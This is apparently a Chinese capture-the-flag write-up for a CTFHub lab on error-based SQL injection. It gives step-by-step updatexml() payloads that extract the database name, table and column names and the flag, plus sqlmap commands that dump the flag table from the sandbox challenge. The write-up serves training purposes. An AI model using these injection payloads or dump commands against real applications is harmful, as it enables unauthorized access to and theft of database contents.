CTFHUB技能树之SQL——报错注入

开启靶场,打开链接:

输入1:

没有回显出相关信息,初步判断是报错注入、时间盲注或布尔盲注


输入1':

显示出'1''和报错信息,说明没有闭合情况,是报错注入且是整数型注入


输入:

1 and updatexml(1,0x7e,3) -- a

正常显示报错信息,确定报错函数updatexml()可以使用


(1)爆数据库名

1 and updatexml(1,concat('~',database(),'~'),1) -- a

说明数据库名是sqli


(2)爆表名

1 and updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema = 'sqli' ),'~'),1) -- a

得到表名是news和flag,其中flag表是我们要找的


(3)爆列名

1 and updatexml(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema = 'sqli' and table_name = 'flag'),'~'),1) -- a

得到列名是flag


(4)爆字段内容(flag)

1 and updatexml(1,concat('~',(select concat(flag) from flag limit 0,1),'~'),1) -- a

得到flag:

ctfhub{d49fefe662a37b6387cad068}


接下来用sqlmap爆破一下:

python sqlmap.py -u "http://challenge-4515cbd0900d8aa9.sandbox.ctfhub.com:10800/?id=1" -D sqli --tables


python sqlmap.py -u "http://challenge-4515cbd0900d8aa9.sandbox.ctfhub.com:10800/?id=1" -D sqli -T flag --dump

一样成功得到flag

相关推荐
YL200404265 小时前
MySQL-进阶篇-SQL优化
数据库·sql·mysql
Irissgwe5 小时前
redis之典型应用-缓存cache
数据库·redis·缓存·缓存击穿·缓存雪崩·redis淘汰策略
羊群智妍5 小时前
2026年GEO优化实战:AI搜索优化监测工具全解析
笔记
Shely20175 小时前
数据库索引
数据库·mysql
我也不曾来过16 小时前
Mysql
数据库·mysql
中屹指纹浏览器6 小时前
2026浏览器插件指纹溯源机制与插件环境安全优化实战指南
经验分享·笔记
小陈工6 小时前
Python异步编程进阶:asyncio高级模式与性能调优
开发语言·前端·数据库·人工智能·python·flask·numpy
想学会c++6 小时前
单例模式笔记总结
c++·笔记·单例模式
gQ85v10Db6 小时前
Redis分布式锁进阶第三十一篇
数据库·redis·分布式
身如柳絮随风扬6 小时前
购物车服务设计:基于 Redis Hash 的高效实现
数据库·redis